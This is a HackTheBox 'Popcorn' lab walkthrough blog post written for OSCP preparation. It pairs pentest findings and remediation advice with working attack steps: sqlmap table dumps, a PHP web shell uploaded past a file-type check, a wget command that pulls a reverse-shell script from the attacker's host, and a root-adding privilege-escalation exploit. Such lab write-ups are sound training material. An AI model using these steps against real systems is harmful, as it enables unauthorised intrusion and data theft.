InfoSec Write-ups – Medium–
How To Hack: Popcorn From HackTheBox
My Journey On Achieving The OSCP Certification
Some of you must be thinking, not another HTB writeup. But that’s not the case here. Let me elaborate:
My goal is to document my journey on achieving the OSCP Certification. This Medium blog is not the place where you can find a quick writeup for a box. That’s why I don’t want to call this blog series a “writeup”. It’s more of a pentest. You see, as a penetration tester, my regular assessments are different from hacking boxes. The focus does not lie on cracking e.g. a server in the shortest amount of time, using metasploit. It’s much more thorough. Every little abnormality and finding is being noted. Don’t get me wrong, this blog will show you how to exploit the target to get the user.txt and root.txt but it will offer much more information about the target, what vulnerabilities led to root and how to fix these vulnerabilities. A very important part of penetrationtest reports are the recommendations for the client. The client has to know what is vulnerable in their application, but much more important is how to fix the vulnerability, so that this issue will never appear again.
A step towards safer applications without any security flaws and vulnerabilities is Secure Coding. As a developer of web applications today, you are confronted with a wide range of potential dangers. Knowing the threats, avoiding pitfalls and counteracting them with the right measures is undoubtedly one of the most important skills of every developer. This aspect will also be part of my blog series.
Before we start, a few words to my setup:
- Kali Linux on a VM
- Tilix: A tiling terminal emulator for Linux
- Cherry Tree for note keeping, I would highly recommend the template from James Hall
Today we will be looking at Popcorn from HackTheBox, so get your VPN up and running.
First let’s start with enumeration in order to gain as much information about the machine as possible. The first step is using nmap. Nmap is not only a port scanner. It can also be used in order to run scripts, such as vulnerability scripts, or cipher suite scans. There is a lot to find out about nmap, so take your time and look at the help page. Every pentester has their own unique parameters which they use with nmap. My methodology with nmap looks like this:
nmap -A -oA nmap 10.10.10.6
This scan setup runs very fast and shows important results. The -A enables OS detection, version detection, script scanning, and traceroute. The -oA nmap saves our scan in a file. On a regular pentest, I would run a different nmap setup. Parameters like -p- for scanning all ports or -sU for a UDP scan are very important if you want to get the most information from a server. It just depends on how much time you have. I highly reccomand this nmap cheat sheet.
We can look at our scan with this command:
There are some interesting findings to be written down in cherry tree, which would also be documented in a pentest report:
- OpenSSH5.1p1 falls into the category “using components with known vulnerabilities”, because first of all, it has not been updated in a long time. The newest version of OpenSSH is 8.3p1. And second, the version 5.1p1 has vulnerabilities listed in CVE. A counter measure would be to update to the newest version, being 8.3p1. It’s important, that all components are being checked and updated on a regular basis. (Risk: Medium)
- Apache 2.2.12 also falls into the category “using components with known vulnerabilities”. This version has a shocking amount of vulnerabilities documented in CVE: The newest version 2.4.46. If this were a client server, I would set the risk to critical and immediately make sure that this issue is being fixed asap.
- I would note down OpenSSH5.1p1, Apache2.2.12 and Ubuntu Linux in a pentest report. Not as a finding, but just bad practice. The category would be “information leakage”. An attacker does not have to know what version of Apache or OpenSSH the server is running. This just makes it easier for an attack.
If port 443 were open, I would scan it again using this command:
nmap — script ssl-enum-ciphers -p 443 10.10.10.6
This would give us information about which TLS versions the server is using and which cipher suites. TLSv1.0 would be noted down as a low finding, just as the use of insecure cipher suites.
This is another cool script from nmap, which scans the server for common vulnerabilities:
nmap — script vuln 10.10.10.6
Here are the results of the scan:
Wow, a lot of information. It shows us our two open ports and checks them against common vulnerabilities. The http-enum section is interesting, showing us four directories. These findings should always be written down. It also says that the Apache server is vulnerable against a denial of service attack. In a real life pentest, DOS attacks are almost always out of scope.
The default Webpage
Let’s take a look at the directories which were found by the nmap scan:
The three directories /test, /test.php and test/logon.html all look like the picture above. It shows us the PHP version page. This PHP version 5.2.10 belongs to the category “components with known vulnerabilities”. There are a lot of vulnerabilities documented in CVE: Despite the version, this site should never be up and running. An Attacker will find a lot of information on this site, like where PHP scripts are cached, probably planning some sort of remote file inclusion in his head. This would be a finding with a high risk in a pentest report.
The icons/ directory is also interesting. Directory listing would also be a finding in a pentest report. The webserver should be configured to prevent this finding. There is no reason to provide directory listings:
If you want to use more scripts, you can find them with this command on your linux machine:
Quick tipp: When a nmap script is running, press enter to see the status of the scan. This is way better than verbose mode using -v.
It’s always a good idea to add the IP address to the /etc/host file because of virtual host routing. I like using gedit, but you can certainly use vi. Browsing to popcorn.htb shows us the exact some web page. The source code does not give us any information. No luck here.
Enumerate, enumerate, enumerate!
Since port 80 is open, we can use a tool called nikto. Nikto is a webserver scanner which gives us some useful information about the server. So let’s check it out:
nikto -h popcorn.htb -o nikto.txt -p 80
The parameter -h specifies the host, in our case popcorn.htb. You can output the file as a txt-file with -o. Because only port 80 is running, we will specify the port with -p 80.
A lot of interesting stuff! Findings like Apache 2.2.12 have already been written down. Some low hanging fruits pop up, such as X-Frame-Options Header, XSS-Protection Header amd X-Content-Type Header. These findings would be documented with a low risk in a pentest report. These Headers have to be activated and you’re good to go. The OPTIONS HTTP method should be deactivated, unless it is used with Cross-Origin Resource Sharing, but I don’t think that this is the case here.
Since port 80 is open, let’s check out the web page. While assessing web applications, it’s good practice to keep an attack proxy running in the background, such as OWASP ZAP or BurpSuite. A cool Firefox Add-on is called “FoxyProxy”. This comes in handy, while using an attack proxy tool, because it allows you to quickly turn your proxy off, or switching between certain ports. Another cool Add-on is called “Wappalizer”, which gives information about components being used by the web page, such as PHP, Apache, etc:
Looking at the site, all we see is a default web page. It’s never a good idea to keep a default web page up and running. It just shows, how bad everything is implemented, and that there will probably be some more vulnerabilities. Very bad practice!
Another finding to note down, is that only port 80 is being used, and not https on port 443, with HTTP Strict Transport Security (HSTS) activated. This would be another finding with low risk.
The next step could be running dirb. This is a tool used for directory fuzzing. It uses a wordlist to find directories. A dirb scan command could look like this:
dirb http://10.10.10.6 -r -a popcorn.dirb
First we specify the URL: 10.10.10.6. The -r tells dirb not to go into recursive mode. The -a will output a result file named “popcorn.dirb”. You can certainly use your own wordlist, like the popular rockyou.txt, but by default, the common dirb wordlist is being used. Here’s the scan result:
The Torrent Hoster
The only new directory is /torrent/. Let’s have a closer look:
It makes sense to look at the source code first, but nothing interesting here. I like going through the different web pages with an attack proxy running in the background. Everytime a pentester sees an upload functionality, you know it’s going down. Login forms are also nice to play around with. I like to enter ‘ as the username and a random password. Sometimes the web page responds with a syntax error or an error page, just like this:
This error message screams: use sqlmap! Some people forget that sqlmap is not only a really good tool for GET requests, but also for usernames and passwords in a POST request. All we have to do is save the HTTP login request in a file which looks like this:
The sqlmap scan could look like this:
sqlmap -r login.req
sqlmap -u http://10.10.10.6/torrent/login.php --data="password=test&username=test" --method POST --tables
Sqlmap is not allowed in the OSCP exam, but I still wanted to try it out. To my surprise, it did actually work and I got two databases with different tables as a result:
The table “users” might be interesting. A stored password would be the jackpot, so let’s dump the table “users” with this command:
sqlmap -u http://10.10.10.6/torrent/login.php — data=”password=test&username=test” — method POST -D torrenthoster -T users --dump all
A quick tipp: If you ever get annoyed by the sqlmap Y/N questions, simply type in — batch in the command. The questions will always be answered by default.
We see two columns in the table. The user “test” was created by myself. The “admin” user is far more interesting. The password seems to by a md5 hash. Not only would this SQL Injection be a critical finding on a pentest report, but using md5 is also a finding. MD5 should never be used to hash passwords. There are much safer hash algorithms available, such aus PBKDF2, bcrypt or scrypt. Sqlmap even decrypted my password of the user “test”, so it can also be used to crack passwords via a dictionary-based attack. If you want to know what kind of hash is being used, hash-identifier is a great tool.
Hash-identifier also says it’s a md5 hash, but I had no luck trying to crack it. A very nice website is CyberChef. The sqlmap attempt led me to a dead end.
File upload — a pentesters favorite functionality!
Let’s take a closer look at the upload functionality of the website. We’ll have to create a user first. Username and password can be something random like test:test. First I tried to upload a picture, but I got an error message saying “This is not a valid torrent file”. So I guess I’ll have to upload a .iso.torrent file:
It worked! Now we can see a new page with information about the uploaded file. The interesting part is the picture upload functionality:
Now we get a message saying that the upload was successful. If this were a real pentest, I would check the comment section for possible Cross-Site-Scripting vulnerabilities.
The next step would be to find out where the site stores the uploaded pictures. This can be achieved by using dirb in recursive mode, or just guessing. It’s pretty obvious that uploads go into the /torrent/upload directory.
So the picture that was uploaded is stored in this directory. This would be a good place to get a reverse shell on the machine. We somehow have to get a PHP reverse shell file in this directory.
I tried to upload a .php file instead of a .png file in the picture upload, but an error message appeared:
File uploads which allow every kind of file-type would be a finding on a pentest report, but this site checks the file-type and even the file itself. I checked this by renaming a .png image to .iso.torrent. The site also sent back an error message saying that this is indeed an invalid file. We somehow have to manipulate our PHP file so that it looks like an image.
ZAP captured our multiple upload POST requests. The PHP file I tried to upload looked like this:
Remote Code Execution
The filename is cmd.php and you can see the content of the file. All it does is echo system request with the parameter “test”. If the upload works, we can simply change the URL to something like ?test=whoami and the server should repsonse with the answer. This file could not be uploaded so we have to change some things. The request from the uploaded .png image looked like this:
The idea is to take bytes out of the image request and put them in the PHP file request. Since the .png image upload worked, the server might think that the PHP file is actually an image file. This happens because of magic bytes. During pentests I often use the “Resend with request editor” function. This allows us to resend requests and manipulate them.
This is how the manipulated request looks like. I changed the filename from cmd.php to cmd.png.php just incase the server checks if “png” is in the filename. The Content-Type in the PHP upload request was application/x-php. I changed it to image/png and the content of the file. I just copied a few lines of bytes from the .png file and put them in the manipulated request body. Now the server thinks it’s a .png file. This actually worked:
Our file has been uploaded and can be found in this directory:
If we click on the file, we can see the content. Let’s change the URL to:
The PHP script works and we got code execution. The server responds with “www-data”.
I will be using the tcp_pty_backconnect.py script from this github site. We’ll just have to change the IP address:
Now we’ll have to download the script onto the popcorn machine, using a simple http server:
root@kali:/opt/shell/python-pty-shells# python -m SimpleHTTPServer
I switched from ZAP to BurpSuite because it worked better for me. I captured the “test=whoami” request again, changed the method to POST and replaced “test=whoami” with
test=wget 10.10.14.6:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
This will allow us to download the shell script from our machine.
If we click “Send”, the script should be on the server.
We can see the script content in the response. So far so good. We can also see that it worked in our terminal:
Before we execute the script from BurpSuite, we’ll have to set up our listener with this command:
root@kali:/opt/shell/python-pty-shells# python tcp_pty_shell_handler.py -b 10.10.14.6:31337
10.10.14.6 is my IP Address and 31337 is the port that was specified in the shell script. Now we can execute it using BurpSuite.
On the machine
This shell is really great to work with, because it is a full pty shell, so keystrokes like up and down work.
First, I like to type in “uname-a” which gives us information about the linux kernel.
The kernel is from 2009, so it’s possible that it can be exploited with dirtycow. But this is not the path that I’m willing to take.
Looking around, we can find a user named george and the user.txt:
There’s a better way to find the user.txt and other interesting files:
find /home -type f printf “%f\t%p\t%u\t%g\t%m\n” 2>/dev/null | column -t
Looks funky, but let me explain: This command will find all files in /home. %f means file name, \t stand for tab, p for path, u for user, g for group, m for file permission, 2>/dev/null means send error message to /dev/null and | column -t will give us some pretty output. The result should look like this:
Motd.legal-displyed could be interesting. “Motd” stands for message of the day. We can use searchsploit to find exploits:
Linux PAM 1.1.0 seams to be vulnerable to MOTD File Tampering Privilege Escalation. To get more information on the exploit, we can use this command:
root@kali:~/htb/boxes/popcorn# searchsploit -x linux/local/14339.sh
The script will add a new user named “toor” with root privileges. The password will be toor.
To use the exploit, we’ll copy it’s content, e.g. using gedit and then pasting it into a new file on the popcorn machine.
The file is now on the machine.
As we can see here, the command “ls -la” shows us our file which I named “.privsec.sh”. If we type in “bash .privsec.sh”, the script will run and all we have to do is type in the user password, which is “toor”.
Finally, we got root!
I really enjoyed this box, because it didn’t feel like a typical CTF style box. It has some very realistic elements. To sum up this article, it’s clear to say that the vulnerable components led to owning this machine. An attacker has access to far more information than he should have. It’s important to keep your components updated! Another aspect is that the server should always check what kind of files are being uploaded. It was pretty easy to trick the server into thinking that a picture was being uploaded, even though it was a PHP script. It sounds harsh, but user input should not be trusted, because it can always be manipulated.
I’m planning on writing more blog articles about different boxes, which are more realistic. Feel free to comment your opinion on this approach of cracking boxes.
HackTheBox: Popcorn was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.